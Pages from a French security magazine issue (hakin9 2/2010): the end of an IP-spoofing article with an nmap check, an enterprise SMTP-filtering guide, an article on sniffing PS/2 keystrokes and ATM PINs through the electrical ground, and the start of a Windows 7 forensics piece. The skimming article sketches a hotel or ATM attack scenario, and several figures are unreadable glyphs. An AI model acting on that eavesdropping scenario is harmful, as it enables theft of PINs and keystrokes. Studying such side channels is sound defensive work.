Le fait que l'attaque ne se restreigne qu'à une petite partie de système vient du fait que la plupart des piles TCP/IP utilisent des numéros de séquences fondés sur des nombres aléatoires. Certains systèmes comme BSD ou HP-UX connaissent de gros problèmes à cause de l'IP-Spoofing.

Dans le cadre d'une attaque par usurpation d'adresse IP, l'attaquant n'a aucune information en retour car les réponses de la machine cible vont vers une autre machine du réseau (il s'agit alors d'attaque à l'aveugle, en anglais blind attack).

Se défendre de l’IP SpoofingLe filtrage IP n'a jamais été considéré comme un élément permettant de sécuriser un système. Tout au plus est-il un frein. Une authentification s'appuyant sur l’adresse IP peut être une bonne chose mais cette dernière doit être couplée avec un autre mécanisme d’authentification comme le classique couple nom d’utilisateur/mot de passe.

Comme indiqué précédemment, certains services comme rsh et rlogin ne se fondent que sur l’adresse IP, il est impératif de supprimer ces services pour les remplacer par, au pire du Telnet et au mieux du SSH avec login et mot de passe.

Une solution consiste à refuser les paquets TCP SYN successifs depuis une même adresse pour éviter que le pirate prédise le comportement du générateur de numéros de séquences. Mais une telle restriction peut limiter la disponibilité du service (attaque par déni de service ou DoS).

Sous GNU/Linux, il existe des modules tels que rp_filter permettant de se défendre contre ces types d’attaques.

Il est maintenant possible de vérifier que son système n’a pas de numéro de séquence TPC facilement prédictible.

Prévenir l’IP Spoofing grâce à NmapNmap invoqué avec l'option -O et -v vous fournit une indication sur la dif ficulté qu'aura le pirate à procéder à une attaque par IP Spoofing contre votre serveur.

Celles-ci nous renseignent sur la dif ficulté d'une attaque par IP-Spoofing. Plus le nombre associé à la valeur Difficulty est élevé, plus il est dif ficile d'entreprendre une attaque. Inversement, si lors d'un scan, vous obtenez un nombre très bas avec un message du type Trivial Joke, cela signifie que votre système est très vulnérable à une attaque par IP-Spoofing.

ConclusionL’IP spoofing est une menace moins importante aujourd’hui en raison des patches de sécurité appliqués. La sécurité des syste`mes d’exploitation ainsi que l’utilisation étendue de séquence de nombre totalement aléatoire rend de moins en moins évident ce type d’attaque. Bien que cette attaque soit de plus en plus dif ficile à mettre en place, il est néanmoins nécessaire de la garder en tête et de tenter de l’éviter. Pour cela, la méthode la plus simple reste encore de désactiver l’ensemble des protocoles d’authentification ne se basant que sur l’adresse IP.

AuteurRégis SENET, actuellement stagiaire pour la société JA-PSI, est étudiant en cinquième année à l’école Supérieure d’informatique Supinfo. Passionné par les tests d’intrusion et les vulnérabilités Web, il tente de découvrir la sécurité informatique d’un point de vue entreprise. Il s’oriente actuellement vers les certifications Offensive Security et CEH.Contact : [email protected] internet : http://www.regis-senet.fr

Listing 1. Détermination de la difficulté de l’attaque

nocrash:~# nmap -O -v 192.168.1.4

Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )

[…]

Remote operating system guess : Linux 2.1.19 - 2.2.19

Uptime 0.122 days (since Thu Mar 27 16 :02 :38 2003)

TCP Sequence Prediction : Class=random positive increments

Difficulty=4687481 (Good luck !)

IPID Sequence Generation : Incremental

Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds

Les lignes intéressantes sont :

TCP Sequence Prediction : Class=random positive increments

Difficulty=4687481 (Good luck !)

Page 45: hakin9_2_2010_FR
Page 46: hakin9_2_2010_FR

46 HAKIN9

ATTAQUE

2/2010 47 HAKIN9

LA SÉCURITÉ DES FLUX SMTP EN ENTREPRISE

2/2010

3,5 millions de spams par seconde, tel est le dernier chif fre connu de mails indésirables circulant sur Internet. Ce chif fre représente

en moyenne 95% du trafic mail d'une entreprise. Dans certains cas, il atteint même 98%. Autant dire que les sociétés ont de quoi s'inquiéter quant à la sécurité de leurs flux SMTP. Nous verrons les menaces à craindre aujourd'hui et comment s'en protéger.

Enjeux de la sécurité des flux SMTPAujourd'hui, le courriel est l'un des principaux outils de travail d'un employé. Des milliers de courriers électroniques transitent chaque jour au sein d'une société. Et cela, les pirates informatiques l'ont bien compris. C'est pour cela que depuis plusieurs années, les attaques informatiques par e-mail comme le spam ou encore le phishing se déploient de plus en plus. Il est donc urgent pour les sociétés qui n'ont pris aucune mesure pour le moment, de se protéger contre les menaces qui transitent par les flux SMTP.

TONY FACHAUX

CET ARTICLE EXPLIQUE...Les menaces actuelles liées aux mails.

Comment filtrer le trafic SMTP d'une entreprise.

CE QU'IL FAUT SAVOIR...Quelques notions sur le protocole SMTP.

Principe de fonctionnementVous trouverez sur la figure 1 le principe de fonctionnement général d'une architecture mail.

Une architecture mail est composée de plusieurs éléments qui sont :

• Le MTA (Mail Transfer Agent)• Le Groupware• Le MUA (Mail User Agent)• Le protocole SMTP• Le protocole DNS• Le protocole POP3• Le protocole IMAP

Le MTA est le relais de messagerie qui traite les e-mails sur Internet. Il est géré soit au sein d'une société, soit par un prestataire externe comme un fournisseur d'accès Internet. Le groupware est le serveur de messagerie qui est en général un serveur Exchange. Il se rencontre encore parfois des serveurs Lotus Notes. Le MUA est le client de messagerie (Outlook, Thunderbird ou autre). Le protocole DNS est, quant à lui, utilisé pour contacter les enregistrements MX auprès des serveurs DNS.

Degré de difficulté

La sécurité des flux SMTP en entrepriseNous présenterons ici, d'une manière générale, les moyens techniques à mettre en œuvre pour sécuriser les flux SMTP au sein d'un système d'information. Cette sécurisation passe par la mise en place d'une passerelle SMTP afin de contrôler tous les flux SMTP entrants et sortants de l'entreprise. Nous appuierons notre présentation sur des exemples utilisant la technologie Ironport de Cisco

Les relais ouvertsLes relais ouverts ou Open relay sont des serveurs SMTP à partir desquels quiconque peut envoyer des mails. Ils sont par conséquent utilisés par les spammeurs. Le risque est que ces serveurs peuvent faire partie d'une blacklist appelée la DSBL (Distributed Sender Blackhole List). Si votre relais de messagerie fait partie de cette liste, les mails des utilisateurs peuvent ainsi être blacklistés auprès des autres serveurs de messagerie sur Internet. Les mails de la société n'arriveront donc jamais à destination. Il est donc parfois très dangereux de laisser votre relais de messagerie dans une telle configuration.

Page 47: hakin9_2_2010_FR

46 HAKIN9

ATTAQUE

2/2010 47 HAKIN9

LA SÉCURITÉ DES FLUX SMTP EN ENTREPRISE

2/2010

Le protocole SMTP est le protocole d'envoi d'e-mails et les protocoles POP3 et IMAP sont les protocoles de réception des mails.

Fonctionnement général d'une passerelle anti-spamLes relais SMTP ou passerelles anti-spam sont, dans une architecture classique, placés dans une DMZ appelée DMZ publique car ils sont contactés depuis Internet. Ces relais sont généralement présents au nombre de deux afin d'assurer une tolérance de panne. Ils seront ensuite contactés par tous les serveurs SMTP présents sur Internet qui désirent envoyer un mail vers la société.

Nous utiliserons de nombreux exemples liés à la technologie Ironport de Cisco. Cette technologie est aujourd'hui l'une des meilleures en termes de protection mails et dispose de nombreux mécanismes performants :

• Analyse par réputation• La Recipient Access Table (noms de

domaines acceptés)• Le filtrage anti-spam• L'analyse anti-virus• Le filtrage de contenu• Le DLP• La technologie Virus Outbreak Filter • La figure 2 représente un schéma de

principe de cette technologie.

Les flux SMTP entrants Vous trouverez sur la figure 3 un schéma montrant le principe de fonctionnement des flux SMTP entrant dans la société.

Les serveurs SMTP externes contactent les relais de messagerie présents en DMZ à l'issue d'une requête DNS sur le nom de domaine de la société afin de récupérer les enregistrements MX des relais de messagerie. Ces relais de messagerie analysent ensuite le flux SMTP par rapport à la politique de sécurité configurée sur les relais. Les relais de messagerie font ensuite transiter les mails vers les serveurs de messagerie qui sont très souvent des serveurs Microsoft Exchange.

Figure 1. Principe de fonctionnement d'une architecture mail

����������

���

������������������

����������

���

�������� ��������

����������������������������

���������

������������

�������� ����

��������

���

���

Figure 2. Schéma de principe

�����������

����������

�������

��������������� ����������

�������

�������

�����

��������

�������

Page 48: hakin9_2_2010_FR

ATTAQUE

48 HAKIN9 2/2010

LA SÉCURITÉ DES FLUX SMTP EN ENTREPRISE

49 HAKIN9 2/2010

Les flux SMTP sortantVous trouverez sur la figure 4 un schéma montrant le principe de fonctionnement des flux SMTP sortants de la société.

Les serveurs de mails de la société contactent les relais de messagerie situés en DMZ. Ces derniers analysent les flux SMTP par rappor t à la politique de sécurité configurée. Ils font ensuite transiter le mail vers des relais SMTP externes après avoir ef fectué une requête sur les serveurs DNS du domaine destinataire afin de récupérer les adresses IP des serveurs MX distants.

Le paramétrage SMTPDans cette partie, seront expliqués les dif férents paramétrages SMTP à mettre en œuvre au niveau du relais de messagerie.

Les listenersLes listeners permettent d'associer un service SMTP sur un port TCP, lui-même associé à une adresse IP. La configuration idéale est de configurer un listener privé pour les mails sortants et un listener public pour les mails entrants. Autrement dit, les listeners sont les interfaces réseaux du relais de messagerie.

Recipient Access TableAfin d'éviter de transformer votre relais de messagerie en relais ouvert, il convient de lui indiquer les noms de domaine à accepter. Ce sont évidemment ceux utilisés au sein de votre société.

Les routes SMTP Les routes SMTP sont les adresses IP des serveurs de messagerie de la société. Il faut les indiquer afin de router le trafic SMTP vers les serveurs de messagerie.

La politique de sécuritéDans cette partie, seront expliquées les dif férentes technologies que peuvent intégrer les relais de messagerie afin de constituer une politique de sécurité mails performante.

Les différentes actionsVous trouverez sur la figure 5 l'ordre des actions par lesquelles le mail passe sur un relais de messagerie. Cet ordre s'appuie sur la technologie Ironport de Cisco. Vous pouvez, selon vos besoins, désactiver certaines étapes. Ces dif férentes actions seront expliquées plus loin.

Les filtres de réputationLes filtres de réputation sont la principale force d'Ironport et sont de plus en plus utilisés pour d'autres technologies de sécurité. Ce filtrage permet d'autoriser ou non un nom de domaine en fonction de sa réputation sur le web. La réputation d'un nom de domaine se matérialise par une note et est autorisée ou non selon votre paramétrage. Les notes des noms de domaine sont contenues dans une base de données. Par exemple, chez Ironport (Cisco), la Senderbase (http://www.senderbase.org/) est alimentée chaque jour par des milliers de FAI, entreprises et universités afin d'attribuer des notes aux noms de domaine. Il faut par exemple savoir qu'un nom de domaine utilisé par un réseau de botnet a une durée de vie très courte (de l'ordre de quelques jours). Un tel nom de domaine récolte une note très basse sur la toile et a de fortes probabilités d'être rejeté par le relais de messagerie si celui-ci a correctement été configuré. Voici dans le tableau 1, un exemple de configuration sur un relais Ironport :Figure 3. Flux SMTP entrants

��������

��������

��������������������

�������

���������

����������������

�����������

�����������������

��������

���

���

���

Page 49: hakin9_2_2010_FR

ATTAQUE

48 HAKIN9 2/2010

LA SÉCURITÉ DES FLUX SMTP EN ENTREPRISE

49 HAKIN9 2/2010

Un nom de domaine comprenant une note entre -10 et -4 sera automatiquement rejeté, un nom de domaine avec une note comprise entre -4 et 6 passera dif férents types de filtrage selon la configuration (anti-virus, anti-spam, etc.) et un nom de domaine avec une note comprise entre +6 et +10 sera automatiquement accepté sans passer par un quelconque Scan. Vous pouvez par exemple vous amuser à tester ces URL sur le site de SenderBase.

L'anti-relayLe mécanisme d'anti-relay permet au relais d'éviter qu'il ne devienne un relais ouvert. Ce mécanisme se met en place à l'aide d'une Recipient Access Table qui définit les noms de domaines acceptés par le relais. Ce mécanisme est mis en place sur le listener public. Pour le listener privé, il existe un mécanisme qui s'appelle le Host Access Table qui définit les serveurs SMTP autorisés à utiliser le relais.

Le filtre Anti-spamLes relais disposent d'un filtre anti-spam qui se met automatiquement à jour sur les serveurs d'Ironport dans notre cas. Ces règles sont actualisées toutes les 10 minutes.

La quarantaine utilisateurLa quarantaine utilisateur est un mécanisme qui permet aux utilisateurs de recevoir un mail avec leur quarantaine. Cette quarantaine contient tous les mails qui ont été bloqués par le relais. Cela permet aux utilisateurs de débloquer des mails considérés comme des spams alors qu'ils n'en sont pas. Notons au passage que les relais de messagerie, comme la majorité des équipements de sécurité, ne sont pas à l'abri des faux-positifs. Toutefois, la technologie Ironport ne génère que très peu de faux-positifs.

Le filtrage Anti-VirusLes relais de messagerie Ironport intègrent deux moteurs anti-virus:

• McAfee• Sophos

Il est possible d'en activer un sur deux, ou les deux en même temps pour un maximum de sécurité. Vous trouverez dans le tableau 2 un exemple de politique anti-

virus qui peut être mise en œuvre pour les flux entrants.

L'Outbreak FilterL'outbreak filter est une technologie anti-virus très performante. Elle permet au

relais de messagerie de détecter des virus qui ne disposent pas encore de signatures. Cette technologie permet de contrer la fenêtre de vulnérabilité entre la sortie d'un virus et la sortie de sa signature. L'outbreak filter détecte les potentiels mails suspects

Figure 4. Flux SMTP sortants

��������

��������

��������������������

�������

���������

����������������

�����������

�����������������

��������

���

���

���

Table 1. Le filtrage SMTP par réputation Web

Action Note Action

WhiteList +6 à +10 Trusted

SuspectList -4 à 0 Accepted

UnknownList 0 à 6 Accepted

BlackList -10 à -4 Bloqué

Page 50: hakin9_2_2010_FR

ATTAQUE

50 HAKIN9 2/2010

ne disposant pas encore de signature et les place dans une quarantaine spécifique. Ce mécanisme détecte les mails suspects en fonction du comportement des flux SMTP. Si par exemple, le relais de messagerie reçoit dix fois plus de mails avec une pièce jointe spécifique, il détecte alors un comportement anormal et place les mails en quarantaine. Ils sont ensuite régulièrement analysés par le moteur anti-

virus afin de tester si une signature est sortie ou non depuis le blocage.

Le filtrage de contenuLe principal facteur de risque des mails concerne les pièce jointes. Interdire certaines extensions à traverser le relais de messagerie n'est pas une bonne sécurité tant il est facile de renommer l'extension d'un fichier. C'est pour cela que les relais de messagerie

doivent disposer de mécanismes permettant de filtrer les fichiers grâce à leur «magic byte». En général, il convient d'interdire les pièces jointes qui disposent d'une extension exécutable du type .bat, .cmd, .exe, .bin, .dll, .msc, .chm, .wsc, .wsf, .wsh, .pif, .scr, .vbs, .msi, .hl, .js, .reg. Les possibilités de filtrage de contenu sont immenses et dépendent du besoin de votre société.

Le DLP (Data Leakage Prevention) Le DLP (Data Leakage Prevention) ou Prévention de la Fuite de Données en français est un mécanisme de sécurité qui se déploie de plus en plus ces derniers temps. Il permet d'éviter la fuite de données critiques pour l'entreprise. Ce mécanisme peut être placé au niveau des postes clients et des relais de messagerie. En effet, les mails sont l'une des principales sources de fuites d'informations d'une société. Il est très facile d'envoyer des documents confidentiels par mail. C'est pour cela qu'aujourd'hui, il devient indispensable de filtrer les messages sortants de l'entreprise par rapport à leur contenu : simplement en commençant par filtrer tous les mails contenant une pièce jointe avec le mot « Confidentiel » ou encore le nom de la société. La politique de DLP peut ensuite être très complexe à élaborer et dépend, encore une fois, de l'activité et des besoins de l'entreprise.

ConclusionAprès avoir démontré l'importance de sécuriser les flux SMTP d'une entreprise, nous avons expliqué le principe de fonctionnement général d'une architecture mail et les dif férents mécanismes de sécurité à mettre en œuvre au sein d'une société afin de rendre la sécurité des flux SMTP performante. Tout cela nous a permis de démontrer qu'il est primordial pour une société de sécuriser correctement les flux SMTP car les mails représentent aujourd'hui le principal canal de communication d'une société.

À propos de l'auteurL'auteur est ingénieur sécurité chez Dimension Data Luxembourg. Son métier consiste en la conception, la mise en œuvre et le support d'architectures de sécurité pour des clients grands comptes. Diplômé d'un Master en «Sécurité Informatique» à l'EPITA à Paris, il se passionne pour les technologies de sécurité de l'information.Figure 5. L'ordre des actions

���������������������������������������������������

������������������������������������������������������������

�������������������������������������������������������������������

��������������������������������

�������������������������������������������������

������������������������������������������������������������������������������������������

���������������������������������������������������

������

�������������������������������������������������

���������������������������������������������������������

�������������������������������������������

������������������������������

����������������������������������

����������������������������������

�����������������������������������������������������

�������������������������

����������������������������������

����������������������������������

�����������������������������������������������������

�������������������������

�����

��������������

�����

�����

��������������

�����

����������������� �����������������

Table 2. Politique Anti-Virus pour les flux entrants

Type de message Action Tag du sujet Notification

Infecté Supprimer - Destinataire

Réparé Délivrer [ALTERTE: PJ SUPPRIMEE]

-

Chiffré Mettre en quarantaine

- Destinataire

Non analysable Supprimer - Destinataire

Sur Internet http://www.ironport.com/fr/ – Le site Web du constructeur Ironport.

http://www.senderbase.org/ – La base de réputation d'Ironport.

Page 51: hakin9_2_2010_FR
Page 52: hakin9_2_2010_FR

52 HAKIN9

ATTAQUE

2/2010 53 HAKIN9

ÉLECTRO-SKIMMING FUITES ÉLECTRIQUES D’INFORMATION

2/2010

Les médias nous informent de temps en temps des nouvelles manières de retirer l'argent des guichets bancaires

automatiques : en scannant et créant une copie de la carte ou en volant cette carte à son détenteur. La carte peut donc être interceptée d'une manière ou d'une autre, il reste toutefois la question du code sans lequel la carte est inutile. Il existe de nombreuses méthodes pour obtenir le code, en installant une couche sur le pavé numérique du guichet automatique, en installant des micro-caméras pour enregistrer les touches sur lesquelles l'utilisateur appuie. Depuis peu, une nouvelle méthode plus sophistiquée a fait surface. Tout cela est lié à PS/2 protocol keyboard snif fer, autrement dit, un outil permettant d'intercepter les entrées au clavier PS/2 en analysant les signaux de mise à terre dans le réseau électrique. Cette

MARIUSZ GIBKI

CET ARTICLE EXPLIQUEAnalyses de différents types d'attaques

Techniques pour réaliser une écoute visant à intercepter les entrées au clavier

CE QU'IL FAUT SAVOIR..bases de Scilab

méthode a été présentée par les spécialistes italiens de sécurité lors de la conférence Black Hat qui s'est déroulée à Las Vegas. Conformément aux garanties des spécialistes, Andrea Braisani et Daniele Bianco, l'équipe de spécialistes utilisant l'outil conçu a réussi à intercepter les codes saisis dans les guichets automatiques italiens sans utiliser les caméras ou autres appareils vidéo et uniquement au moyen d'une prise électrique. Une nouvelle méthode de skimming est donc disponible. Le terme skimming est employé pour définir les attaques du type Man in the middle qui servent à voler les données relatives à toute sorte de cartes de paiement et de crédit. La méthode la plus populaire de ce type d'attaque consiste à utiliser un appareil supplémentaire installé dans une fente qui sert à introduire la carte au guichet. Cet appareil permet alors de copier la bande

Degré de difficulté

Électro-skimming Fuites électriques d'information

Peur de perdre votre carte de crédit ? Peur de vous faire voler de l’argent ? Une nouvelle méthode de skimming risque de tourmenter votre quotidien. Découvrez le fonctionnement et les risques de cette méthode pour mieux la comprendre et pour mieux vous en protéger.

Figure 1. Théorie de la première attaque

� �

� �

� �

����������������������������������������������������������������������������������������������������������������������

Page 53: hakin9_2_2010_FR

52 HAKIN9

ATTAQUE

2/2010 53 HAKIN9

ÉLECTRO-SKIMMING FUITES ÉLECTRIQUES D’INFORMATION

2/2010

magnétique de la carte et de créer sa copie. Le code est enregistré par une caméra lors de ce type d'attaque.

L'exploration de la zone d'émission électromagnétique constituait l'un des plus étranges et des plus intéressants éléments relatifs aux questions de la sécurité informatique. À la fin des années 60 et au début des années 70, il a été prouvé que tout appareil conduisant un courant électrique était source de rayonnement électromagnétique. Ce point concerne aussi bien les appareils, par exemple, ordinateur ou guichet automatique, mais aussi les câbles avec lesquels ces appareils sont branchés à une source d'alimentation. Le flux de données génère un rayonnement électromagnétique d'une fréquence définie principalement par le moniteur, quel qu'il soit (CRT ou LCD). Le rayonnement est également émis par les ports, les prises, les scanneurs et autres appareils. Le signal émis est aussi au réseau énergétique depuis lequel l'appareil est alimenté. Tous ces signaux portent une information définie. Il suffit de la lire. Afin de garantir une protection et à la demande de Pentagone, on a formulé la norme TEMPEST (temporary emanation and spurious transmission). Cette norme définit les moyens de protection exigés pour les appareils de traitement des données, importants pour la sécurité nationale des États-Unis. Ce standard a été maintes fois changé et publié sous les noms dif férents durant les années (NAG1A, FS222, NACSIM 5100, NSCD). Aussi bien les normes que la technologie de création de l'équipement indiqué TEMPEST sont strictement secrets mais à la fin des années 70, certains fabricants privés ont été autorisés de produire des appareils avec cette classe. L'acronyme TEPEST définit également la technologie permettant d'intercepter une image depuis le moniteur d'après le rayonnement électromagnétique (Transient ElectroMagnetic Pulse Emanation Standard). Un projet Open Source appelé EckBox est également réalisé. Il permet de créer soi-même un appareil capable d'intercepter une image depuis le moniteur.

Site du projet : http://eckbox.sourceforge. net/polish/index.html

Les spécialistes italiens ont travaillé sur les analyses de deux types d'attaques :

• Interception des touches appuyés sur le clavier PS/2

• Écoute du clavier de l'ordinateur portable par le chargement optique de l'énergie mécanique.

Cet article présente les techniques pour réaliser une écoute visant à intercepter les entrées au clavier à l'aide des équipements bon marché. Les techniques présentées reposent en grande partie sur les méthodes déjà connues. Le but de ce document est de démontrer le peu d'effort et d'argent nécessaire pour permettre un accès aux informations qui devraient être en sécurité. Le texte signalera aussi que les recherches effectuées dans le document décrit par les spécialistes italiens duraient environ une semaine et donnaient des résultats encourageants. Que peut-on donc obtenir avec davantage d'argent dont disposent par exemple, des agences des renseignements ou des organisations criminelles ? Il est donc important de prendre conscience des manières possibles et non conventionnelles de fuites d'informations et des conséquences que peuvent avoir ces fuites (cf. Figure 1).

Les câbles se trouvent très près l'un de l'autre et exercent une influence l'un sur l'autre avec le rayonnement électromagnétique. Il existe la théorie d'après laquelle la fuite de données a lieu quand le champ électromagnétique du câble de données (PIN 1) passe au câble de mise à terre (PIN

3). Le câble de mise à terre avec isolement est dirigé vers une source d'alimentation (prise électrique). Ensuite, la connexion passe à l'ensemble de réseau électrique dans le réseau énergétique donné. Au moment où on appuie sur les touches du clavier, le champ électromagnétique change. Ces changements sont aussi envoyés plus loin au réseau électrique et peuvent être interceptés et lus. Il faut aussi ajouter le facteur de perturbations provoquées par les oscillations de l'alimentation et le travail d'autres appareils dans le réseau, difficiles à identifier. Si des perturbations ont lieu, elles peuvent entraîner des fuites de données plus importantes. La fréquence du signal émis par les claviers du type PS/2 est inférieure à un autre signal, il est donc facile à filtrer tous les autres signaux interceptés. Il existe des cas documentés, décrivant la question de la fuite d'informations par ce moyen mais des analyses plus importantes relatives à cette question n'ont pas été menées. Or récemment, suite à de nombreuses expériences indépendantes relatives à l'écoute du réseau par la mise à terre, il a été constaté qu'une mise à terre commune peut fonctionner comme une antenne. Pour cette raison, l'attaque du signal PS/2 est très attrayante et difficile à détecter. L'avantage principal se trouve dans le fait que les données sont en série. À chaque fois qu'on appuie sur une touche, un bit d'information est envoyé dans une unité de temps donnée et l'ensemble est envoyée dans un cadre composé de 11-12 bits. Comme il a été mentionnée, la fréquence du signal PS/2 est très basse et s'élève à 10 – 16,7 Khz.

Figure 2. Schéma du filtre RIF (source : Wikipedia)

��� ����

��

��

��

���

���

Page 54: hakin9_2_2010_FR

ATTAQUE

54 HAKIN9 2/2010

L'exemple de cadre de données se présente de manière suivante :

{ Début ( 1bit) | Données (8 bits) |

Parité (1 bit) |

Stop ( 1 bit) |

ack (1 bit) }

A titre d'exemple, l'écoute d'une entrée de la touche B se présente de manière suivante :

{ 0 | 01001100 | 0 | 1 }

Afin d'effectuer une attaque avec la mise à terre du réseau, il faut utiliser un câble d'alimentation modifié, branché près de la prise d'alimentation.

Le câble qui constitue la sonde est composé de deux crochets à installer sur le câble d'alimentation. L'ensemble doit également comprendre un système de mise à terre de la sonde, donc un autre câble à brancher par exemple, aux tuyauteries dans la salle de bain (lorsque l'attaque est effectuée dans un hôtel). Ensuite, il faut mesurer la dif férence des potentiels présents sur chaque extrémité du résistor qui fait également partie de l'ensemble.

Il faut filtrer les signaux provenant de PS/2 parmi les signaux lus qu'il est possible d'enregistrer, comme le démontre le schéma ci-dessus. Pour

le processus de filtrage, il est possible d'utiliser de simples filtres qui fonctionnent dans la zone 1-20 Khz. Utiliser un filtre est seulement une des plusieurs méthodes de filtrage disponibles. Il faut bien évidemment opter pour une méthode qui permettra d'obtenir les meilleurs résultats. Lors de la conférence Black Hat, les spécialistes ont utilisé le filtre FIR . FIR filter (en anglais Finite Impulse Response filter), autrement dit, filtre à réponse impulsionnelle finie, est une sorte de filtre numérique non récursif. L'acronyme français est RIF. En pratique, la réaction à la sortie de ce circuit à l'incitation d'une longueur finie des ondes est aussi finie (la longueur de l'incitation et la réponse correspond ici à la longueur du segment de temps pour lequel les échantillons du signal prennent les valeurs dif férentes de zéro). Pour que cette condition puisse être remplie, les filtres de ce type sont dépourvus d'une boucle de couplage à réaction, ce que présente le schéma du filtre RIF (cf. Figure 2).

Le logiciel gratuit Scilab (cf. Figure 3) a servi pour effectuer des calculs. Scilab est un programme scientifique conçu en 1990 par l'Institut national de recherche en informatique et automatique (INRIA). Ce programme sert aux calculs numériques. L'application est comparable à MATLab commercial. Le site officiel du paquet : http://www.scilab.org/.

Les premiers tests ont été ef fectués dans les laboratoires de la physique nucléaire. Le réseau d'une telle organisation comprend davantage de signaux supplémentaires (bruit) qu'une installation standard utilisée dans les immeubles et demande donc de corriger davantage d'erreurs. Les tests menés dans des conditions si dif ficiles constituent un exemple parfait de l'ef ficacité de ce type d'attaque en particulier si l'attaque a lieu dans les conditions standard. Les mesures ont été prises à distance de 1, 5, 10 et 15 mètres de l'appareil espionné.

Dans tous les cas, il était possible de mesurer à l'aide de l'oscilloscope les oscillations du champ électrique présentes dans le réseau de mise à terre. Bien que le signal contienne de nombreux signaux dépourvus d'informations causés par la topologie du réseau du laboratoire de la physique nucléaire, il était possible de filtrer le signal émis par le clavier du type PS/2 à l'aide du filtre RIF. Les résultats de mesures se rapprochent quelque soit la distance de l'écoute. Il faut aussi mentionner que le coefficient d'absorption du fil en cuivre est important dans le cas des fréquences plus élevées que celles mesurées dans le cas de PS/2. L'attaque est donc plus ef ficace à des distances plus grandes. Une fuite d'informations par le réseau électrique est donc tout à fait possible et l'écoute peut être ef fectuée avec un budget restreint. Avec un équipement professionnel et plus cher d'une plus grande sensibilité, l'attaque de ce type peut être réussie à une distance plus grande.

Exemple de scénario de l'attaqueA quoi pourrait ressembler une attaque avec la méthode présentée ? Choisissons la cible de l'attaque : personne utilisant un ordinateur, qui se trouve dans le même immeuble que l'attaquant (hôtel, bureau, etc.). L'attaquant doit se connecter au même réseau électrique que l'ordinateur, cible de l'attaque. Il est facile de le faire dans un hôtel en choisissant la chambre en-dessous ou au-dessus de la chambre de la victime. Une fois le bon emplacement trouvé, il est temps de passer aux opérations pour obtenir des informations. N'oublions pas qu'un guichet automatique qui se trouve dans le même immeuble que l'attaquant et branché au même réseau électrique peut constituer une cible de l'attaque. Si l'attaquant choisit d'attaquer un guichet automatique, il sait qu'il devra filtrer 4 chif fres du code. Le filtrage se limite donc à 10 caractères numériques. La dif ficulté que peut avoir l'attaquant se trouve dans le fait que l'utilisateur peut travailler sur un ordinateur portable sur batterie et non branché à un réseau électrique.Figure 3. Scilab – exemple de capture

d'écran

Écrit d'après :• Documents de la conférence Black Hat – BHUSA09 Barisani KeyStrokes PAPER. • Joe McNamara - „The Complete, Unofficial TEMPEST Information Page” • Wikipedia

Page 55: hakin9_2_2010_FR
Page 56: hakin9_2_2010_FR

56 HAKIN9

ATTAQUE

2/2010 57 HAKIN9

INFORMATIQUE LÉGALE SOUS WINDOWS 7

2/2010

Nous avons été récemment témoins de la première du nouveau système d'exploitation de Microsoft . Le

successeur de Vista échoué a été impatiemment attendu par un grand nombre d'utilisateurs qui gardaient leur vieux système XP. Windows 7, malgré de nombreuses améliorations et optimisations incontestables, ressemble par ses fonctions à son prédécesseur. Tout le monde sait que de nombreuses fonctions internes de Windows 7 (identification code Windows NT 6.1) sont similaires (voire identiques) à celles connues dans Vista (identification code Windows NT 6.0).

Tous ces points, sont-il impor tants du point de vue de l'informatique légale ? L'apparition d'un nouveau système d'exploitation, qui gagnera probablement rapidement une grande par t du marché, constitue un grand défi pour le domaine d'informatique criminel. Il est en ef fet nécessaire de concevoir le plus rapidement possible de nouveaux outils et méthodologies pour collecter des preuves numériques dans l'environnement du nouveau système. Les changements évolutifs (et non révolutionnaires) appor tés par Microsof t à Windows 7 simplifient toutefois considérablement cet te tâche. Les outils d'investigation, capables de fonctionner sous Windows 7, étaient disponibles quasiment le jour de la première du nouveau système ! De plus, une série de mécanismes utilisés volontairement sous Windows Vista pour

WOJCIECH SMOL

CET ARTICLE EXPLIQUEles principes de base qui gèrent l'informatique légale moderne,

les mécanismes Windows 7 qui constituent la source potentielle des preuves numériques,

les mécanismes et les outils existants permettant d'effectuer des investigations numériques dans l'environnement Windows 7,

les outils gratuits les plus intéressants d'informatique légale destinés à analyser les systèmes Windows.

CE QU'IL FAUT SAVOIRles techniques élémentaires utilisées par les informaticiens d'investigation,

les bases de mécanismes d'enregistrement d'informations sur les activités des utilisateurs et les opérations sur le système de fichiers, utilisés dans Microsoft Windows (en particulier, Windows Vista).

collecter les preuves numériques (tels que mécanisme de copies instantanées) est toujours présente dans le nouveau système. Tous ces points font qu'un informaticien d'investigation, avec une expérience de Windows Vista, sera capable de commencer à travailler sous Windows 7 d'une manière relativement simple. Afin de préparer une solide analyse, il faut faire at tention aux petites dif férences qui sont toutefois présentes.

Toutes les techniques légales que je présente ont été préparées et testées pour Windows 7. En raison des similitudes évoquées, la plupart d'entre elles seront probablement utiles aussi dans l'environnement Windows Vista.

Un autre article sur l'informatique légale ?L'informatique légale – domaine scientifique créé suite à la fusion des sciences forensiques et techniques informatiques avancées – se concentre principalement sur la collecte et la protection des preuves numériques des crimes.

Nous pouvons résumer les principes élémentaires de l'informatique légale de manière suivante :

• lecteur original ne peut être aucunement touché (le processus d'analyse ne se déroule que sur la copie du lecteur réalisée à cet effet),

• copie de travail du lecteur doit refléter exactement (c'est-à-dire, tous les bits) le

Degré de difficulté

Informatique légale sous Windows 7Windows 7, conformément aux prévisions, se vend mieux que son prédécesseur. Il a donc toutes ses chances de devenir en une courte période l'un des systèmes d'exploitation les plus populaires dans le monde. Si elle veut suivre les nouvelles tendances, l'informatique légale doit donc concevoir rapidement des méthodes efficaces pour collecter les preuves numériques apparues dans l'environnement de Windows 7.

Page 57: hakin9_2_2010_FR

56 HAKIN9

ATTAQUE

2/2010 57 HAKIN9

INFORMATIQUE LÉGALE SOUS WINDOWS 7

2/2010

lecteur original (vérifié au moyen des sommes de contrôle, telles que MD5 ou SHA-1),

• analyse doit prendre en compte tous les états de données potentiellement disponibles (actifs, masqués, chif frés, temporaires, supprimés, archivés, etc.),

• toutes les opérations effectuées lors de l'analyse doivent être solidement documentées,

• rapport détaillé, décrivant toutes les opérations et les outils utilisés pendant l'analyse, conclue le processus.

